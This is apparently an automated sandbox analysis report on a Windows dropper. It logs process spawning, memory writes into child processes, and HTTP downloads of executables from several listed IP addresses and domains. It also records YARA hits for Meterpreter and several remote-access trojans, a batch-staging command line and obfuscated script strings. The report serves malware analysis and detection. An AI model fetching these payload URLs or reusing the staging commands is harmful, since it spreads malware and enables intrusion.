OutputDebugStringAa2:T5c4,"NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\02.08.2022.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\cooking.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\TLauncher-Installer-1.9.4.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\lJ5IwxN.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\elf.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\sys.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\sup.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\tmp.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\crypted_guardfile.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\random.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\rabert.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\docx.exe"" - (UID: 00000000-00002000) "NewTextDocumentmod.exe" called "CreateProcessW" with parameter ""C:\a\window.exe"" - (UID: 00000000-00002000)a3:Tc27,"NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\cooking.exe" (Handle: 2860) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\cooking.exe" (Handle: 2860) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\TLauncher-Installer-1.9.4.exe" (Handle: 2856) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\TLauncher-Installer-1.9.4.exe" (Handle: 2856) "NewTextDocumentmod.exe" wrote 00000004 bytes to a remote process "C:\a\TLauncher-Installer-1.9.4.exe" (Handle: 2856) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\lJ5IwxN.exe" (Handle: 2856) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\lJ5IwxN.exe" (Handle: 2856) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\elf.exe" (Handle: 2880) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\elf.exe" (Handle: 2880) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\sys.exe" (Handle: 2868) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\sys.exe" (Handle: 2868) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\sup.exe" (Handle: 2148) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\sup.exe" (Handle: 2148) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\tmp.exe" (Handle: 2860) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\tmp.exe" (Handle: 2860) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\crypted_guardfile.exe" (Handle: 2896) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\crypted_guardfile.exe" (Handle: 2896) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\random.exe" (Handle: 2896) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\random.exe" (Handle: 2896) "NewTextDocumentmod.exe" wrote 00000004 bytes to a remote process "C:\a\random.exe" (Handle: 2896) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\rabert.exe" (Handle: 2876) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\rabert.exe" (Handle: 2876) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\docx.exe" (Handle: 2908) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\docx.exe" (Handle: 2908) "NewTextDocumentmod.exe" wrote 000011C0 bytes to a remote process "C:\a\window.exe" (Handle: 2904) "NewTextDocumentmod.exe" wrote 00000008 bytes to a remote process "C:\a\window.exe" (Handle: 2904) "NewTextDocumentmod.exe" wrote 00000004 bytes to a remote process "C:\a\window.exe" (Handle: 2904) "cooking.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\attrib.exe" (Handle: 76) "cooking.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\attrib.exe" (Handle: 76) "TLauncher-Installer-1.9.4.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Handle: 1340)a4:T787,GET /files/814870813/8aCq1Rp.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive GET /files/6041505593/g67DNdL.exe HTTP/1.1 GET /files/814870813/i81fwxp.exe HTTP/1.1 GET /cooking.exe HTTP/1.1 Host: uploadsfre.com Connection: Keep-Alive GET /files/7453936223/lJ5IwxN.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive GET /http.server/elf.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive GET /http.server/sys.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive GET /http.server/sup.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive GET /http.server/tmp.exe HTTP/1.1 Host: 176.122.27.90 Connection: Keep-Alive GET /crypted_guardfile.exe HTTP/1.1 Host: 196.251.115.22 Connection: Keep-Alive GET /files/unique5/random.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive GET /rabert.exe HTTP/1.1 Host: 194.180.49.148:8900 Connection: Keep-Alive GET /docx.exe HTTP/1.1 Host: 139.199.157.76:8000 Connection: Keep-Alive GET /window.exe HTTP/1.1 GET /windows.exe HTTP/1.1 Host: 139.199.157.76:8000 Connection: Keep-Alive GET /meitu.exe HTTP/1.1 Host: 139.199.157.76:8000 Connection: Keep-Alive GET /d/server.exe HTTP/1.1 Host: 185.208.159.182 Connection: Keep-Alive GET /files/7782139129/GL0ygTD.exe HTTP/1.1 Host: 178.16.54.200 Connection: Keep-Alive GET /files/8434554557/06bK6nU.exe HTTP/1.1 GET /dva.exe HTTP/1.1 Host: 62.60.226.16:5553 Connection: Keep-Alive GET /x.exe HTTP/1.1 Host: 172.245.27.131 Connection: Keep-Alive GET /xtest.exe HTTP/1.1 Host: 172.245.27.131 Connection: Keep-Alive GET /xeno.exe HTTP/1.1 Host: 172.245.27.131 Connection: Keep-Alive GET /Client-built.exe HTTP/1.1 Host: 213.142.159.116 Connection: Keep-Alive GET /files/6608710704/HCBSXXl.exe HTTP/1.1 Host: 178.16.55.189 Connection: Keep-Alive GET /files/5561582465/fz0oKy4.exe HTTP/1.1 Host: 178.16.55.189 Connection: Keep-Alive GET /files/5851730241/fzCgCtE.exe HTTP/1.1 a5:T559,YARA signature "MALWARE_Win_Meterpreter" matched process "00000000-00005840" as "Detects Meterpreter payload" (Author: ditekSHen) YARA signature "MALWARE_Win_XenoRAT" matched file "xeno.exe" as "Detects Blacksuit" (Author: ditekshen) YARA signature "MALWARE_Win_Meterpreter" matched file "sys.exe" as "Detects Meterpreter payload" (Author: ditekSHen) YARA signature "MALWARE_Win_QuasarRAT" matched file "Client-built.exe" as "QuasarRAT payload" (Author: ditekSHen) YARA signature "MALWARE_Win_Meterpreter" matched process "00000000-00008492" as "Detects Meterpreter payload" (Author: ditekSHen) YARA signature "MALWARE_Win_Meterpreter" matched process "00000000-00004944" as "Detects Meterpreter payload" (Author: ditekSHen) YARA signature "MALWARE_Win_Meterpreter" matched file "sup.exe" as "Detects Meterpreter payload" (Author: ditekSHen) YARA signature "MALWARE_Win_AsyncRAT" matched file "x.exe" as "Detects AsyncRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_XWorm" matched file "x.exe" as "Detects XWorm" (Author: ditekSHen) YARA signature "MALWARE_Win_AsyncRAT" matched file "xtest.exe" as "Detects AsyncRAT" (Author: ditekSHen) YARA signature "MALWARE_Win_XWorm" matched file "xtest.exe" as "Detects XWorm" (Author: ditekSHen) YARA signature "MALWARE_Win_Meterpreter" matched file "elf.exe" as "Detects Meterpreter payload" (Author: ditekSHen)a6:T4ae,Spawned process "NewTextDocumentmod.exe" (UID: 00000000-00002000) Spawned process "cooking.exe" (UID: 00000000-00005036) Spawned process "attrib.exe" (UID: 00000000-00001452) Spawned process "cmd.exe" with commandline "cmd /c move Pet.wms Pet.wms.bat && Pet.wms.bat" (UID: 00000000-00007356) Spawned process "TLauncher-Installer-1.9.4.exe" (UID: 00000000-00001088) Spawned process "lJ5IwxN.exe" (UID: 00000000-00008516) Spawned process "irsetup.exe" with commandline "__IRAOFF:3969818 "__IRAFN:C:\\a\\TLauncher-Installer-1.9.4.exe" "__IRCT:3" "__IRTSS:26673688" "__IRSID:S-1-5-21-1271187874-1938232448-3812392235-1001"" (UID: 00000000-00005524) Spawned process "elf.exe" (UID: 00000000-00004944) Spawned process "sys.exe" (UID: 00000000-00005840) Spawned process "sup.exe" (UID: 00000000-00008492) Spawned process "tmp.exe" (UID: 00000000-00002136) Spawned process "crypted_guardfile.exe" (UID: 00000000-00008220) Spawned process "random.exe" (UID: 00000000-00000968) Spawned process "rabert.exe" (UID: 00000000-00005772) Spawned process "tmpFB41.tmp" (UID: 00000000-00001624) Spawned process "docx.exe" (UID: 00000000-00002372) Spawned process "window.exe" (UID: 00000000-00007960)a7:Ta81,file/memory contains long string with (Indicator: "VirtualAlloc"; File: "is-KU59E.tmp") file/memory contains long string with (Indicator: "VirtualFree"; File: "is-KU59E.tmp") file/memory contains long string with (Indicator: "VirtualAlloc"; File: "is-1D2IB.tmp") file/memory contains long string with (Indicator: "VirtualFree"; File: "is-1D2IB.tmp") file/memory contains long string with (Indicator: "VirtualAlloc"; File: "is-09NBA.tmp") file/memory contains long string with (Indicator: "VirtualFree"; File: "is-09NBA.tmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000276.00000000.69632.00407000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002712.00000000.77997.00400000.00000040.mdmp")a8:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}a9:T87d,file/memory contains long string with (Indicator: ""set "; File: "init.tcl") file/memory contains long string with (Indicator: ""set "; File: "auto.tcl") file/memory contains long string with (Indicator: ""set "; File: "iconlist.tcl") file/memory contains long string with (Indicator: "set "; File: "Bathrooms") file/memory contains long string with (Indicator: ""set "; File: "comdlg.tcl") file/memory contains long string with (Indicator: ""set "; File: "fonts.tcl") file/memory contains long string with (Indicator: ""set "; File: "word.tcl") Found string "set TZData(:EET) {" (Indicator: "set "; File: "EET") Found string "set TZData(:UCT) $TZData(:Etc/UTC)" (Indicator: "set "; File: "UCT") Found string "set TZData(:ROC) $TZData(:Asia/Taipei)" (Indicator: "set "; File: "ROC") Found string "set TZData(:MET) {" (Indicator: "set "; File: "MET") Found string "set TZData(:CET) {" (Indicator: "set "; File: "CET") Found string "set TZData(:America/Recife) {" (Indicator: "set "; File: "Recife") Found string "set TZData(:WET) {" (Indicator: "set "; File: "WET") Found string "set TZData(:Europe/Malta) {" (Indicator: "set "; File: "Malta") Found string "Set FQLkahNYegmBKrGJudSfEMxVFzLxYDMisInPYTcXCzP=p" (Indicator: "set "; File: "Bathrooms") Found string "Set fSUWyRYxuMInhwEFqFCfSLsQAJpgKMldHfecMxxRow=g" (Indicator: "set "; File: "Bathrooms") Found string "Set eNyrfXwjPvklGvzjFXCJcfbspKYkJSzoHbOmsYrPZTQq=s" (Indicator: "set "; File: "Bathrooms") Found string "Set LdSjfIDNDEYNvTmnFXoKmHUZGWNQUAKhaCwna=q" (Indicator: "set "; File: "Bathrooms") Found string "Set xxpRsoqUqoXWLvWzybPDDIgldjoPfvEo=h" (Indicator: "set "; File: "Bathrooms") Found string "Set XtFAEDlqdWyifVOsjKFgvABxhBBPKXKHanhB=v" (Indicator: "set "; File: "Bathrooms") Found string "Set XXamVMQvAkhgIQLCEFwkTtQPqsGiEekHzTXTddYAy=d" (Indicator: "set "; File: "Bathrooms") Found string "Set VebakUSGwVtfRLZBaVVkeNLYIWVUqumtjpwANvrjgsloVC=l" (Indicator: "set "; File: "Bathrooms") Found string "Set txiMxhfFrTNQymxnDljlsRzvJcyYgQLeDVavLxUIhtJuIA=c" (Indicator: "set "; File: "Bathrooms") Found string "Set kugvgZvMmmNRUZoksIblsbgiFMBcHN=e" (Indicator: "set "; File: "Bathrooms")aa:T4f3,Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "00000000-00001896.00000001.72578.00843000.00000040.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "QuerySystemInformation"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "wlanext.exe.3735795350") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00000188.00000000.71815.003A0000.00000002.mdmp, 00000000-00000188.00000002.75631.003A0000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00000276.00000000.69632.00407000.00000002.mdmp") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; Source: "00000000-00001896.00000001.72578.00843000.00000040.mdmp") Found reference to API "10858488910,7300,3121,,GetNativeSystemInfo,kernel32.dll,"00:18:02.062",RX=0,PX=0" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00002560.00000000.69271.03330000.00000004.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "QuerySystemInformation"; Source: "00000000-00002712.00000000.77997.00400000.00000040.mdmp")ab:T47b,"Kolodi.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "Kolodi.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "Kolodi.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "Kolodi.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "Kolodi.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "Kolodi.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE"; Key: ""; Value: "") "Kolodi.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE"; Key: ""; Value: "") "Kolodi.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "Kolodi.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")ac:T6e3,"INSERT INTO tbl_baohiemxh(MaNV, MaSoBH, NgayCap, NoiCap, NoiDKKCB, GhiChu) VALUES ('" (Source: somzx.exe.3744122296, Indicator: "insert into tbl_baohiemxh(manv, masobh, ngaycap, noicap, noidkkcb, ghichu) values ('") "DELETE FROM tbl_baohiemxh WHERE MaNV='" (Source: somzx.exe.3744122296, Indicator: "delete from tbl_baohiemxh where manv='") "DELETE FROM tbl_luong WHERE MaNV='" (Source: somzx.exe.3744122296, Indicator: "delete from tbl_luong where manv='") "select * from tbl_user where ID = '" (Source: somzx.exe.3744122296, Indicator: "select * from tbl_user where id = '") "INSERT INTO tbl_luong(MaLuong, MaNV, TenNV, MaChuyenMon, LuongCoBan, PCChucVu, NgayNhap, LuongCBMoi, NgaySua, LyDo) VALUES ('" (Source: somzx.exe.3744122296, Indicator: "insert into tbl_luong(maluong, manv, tennv, machuyenmon, luongcoban, pcchucvu, ngaynhap, luongcbmoi, ngaysua, lydo) values ('") "SELECT MaNV, TenNV FROM tbl_nhanvien WHERE TDHV=N'" (Source: somzx.exe.3744122296, Indicator: "select manv, tennv from tbl_nhanvien where tdhv=n'") "INSERT INTO tbl_thuetncn (MaThue, MaNV, MaLuong, CoQuanQuanLyThue, SoTien, NgayDangKi, GhiChu) VALUES('" (Source: somzx.exe.3744122296, Indicator: "insert into tbl_thuetncn (mathue, manv, maluong, coquanquanlythue, sotien, ngaydangki, ghichu) values('") "SELECT * FROM tbl_nhanvien WHERE MaNV='" (Source: somzx.exe.3744122296, Indicator: "select * from tbl_nhanvien where manv='") "SELECT * FROM AntiSpyWareProduct" (Source: 00000000-00001896.00000001.72578.037C0000.00000004.mdmp, Indicator: "select * from antispywareproduct") "SELECT * FROM FirewallProduct" (Source: 00000000-00001896.00000001.72578.037C0000.00000004.mdmp, 00000000-00001896.00000001.72578.0ABA0000.00000004.mdmp, Indicator: "select * from firewallproduct")ad:T586,"INSERT INTO tbl_baohiemxh(MaNV, MaSoBH, NgayCap, NoiCap, NoiDKKCB, GhiChu) VALUES ('" (Source: somzx.exe.3744122296, Indicator: "insert into tbl_baohiemxh(manv, masobh, ngaycap, noicap, noidkkcb, ghichu) values ('") "DELETE FROM tbl_baohiemxh WHERE MaNV='" (Source: somzx.exe.3744122296, Indicator: "delete from tbl_baohiemxh where manv='") "DELETE FROM tbl_luong WHERE MaNV='" (Source: somzx.exe.3744122296, Indicator: "delete from tbl_luong where manv='") "select * from tbl_user where ID = '" (Source: somzx.exe.3744122296, Indicator: "select * from tbl_user where id = '") "INSERT INTO tbl_luong(MaLuong, MaNV, TenNV, MaChuyenMon, LuongCoBan, PCChucVu, NgayNhap, LuongCBMoi, NgaySua, LyDo) VALUES ('" (Source: somzx.exe.3744122296, Indicator: "insert into tbl_luong(maluong, manv, tennv, machuyenmon, luongcoban, pcchucvu, ngaynhap, luongcbmoi, ngaysua, lydo) values ('") "SELECT MaNV, TenNV FROM tbl_nhanvien WHERE TDHV=N'" (Source: somzx.exe.3744122296, Indicator: "select manv, tennv from tbl_nhanvien where tdhv=n'") "INSERT INTO tbl_thuetncn (MaThue, MaNV, MaLuong, CoQuanQuanLyThue, SoTien, NgayDangKi, GhiChu) VALUES('" (Source: somzx.exe.3744122296, Indicator: "insert into tbl_thuetncn (mathue, manv, maluong, coquanquanlythue, sotien, ngaydangki, ghichu) values('") "SELECT * FROM tbl_nhanvien WHERE MaNV='" (Source: somzx.exe.3744122296, Indicator: "select * from tbl_nhanvien where manv='")ae:T1014,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004672-00000C25-41430969] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00004672-00000C25-41821255] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00004672-00000C25-41934898] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004672-00000C25-42051595] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00004672-00000C25-42232514] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00004672-00000C25-42312697] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004672-00000C25-42380661] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00004672-00000C25-42508167] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00004672-00000C25-42542374] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00004672-00000C25-42595139] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\fb4ba4db52ca77687f807bb068871ec2\Microsoft.VisualBasic.ni.dll" [Source: 00000000-00004672-00000C25-42660501] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll" [Source: 00000000-00004672-00000C25-42842544] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll" [Source: 00000000-00004672-00000C25-42874497] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00004672-00000C25-43332184] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00004672-00000C25-43727807] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" [Source: 00000000-00004672-00000C25-43966650] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" [Source: 00000000-00004672-00000C25-44186425] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" [Source: 00000000-00004672-00000C25-44304928] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004672-00000C25-45228138] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00004672-00000C25-45586540] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" [Source: 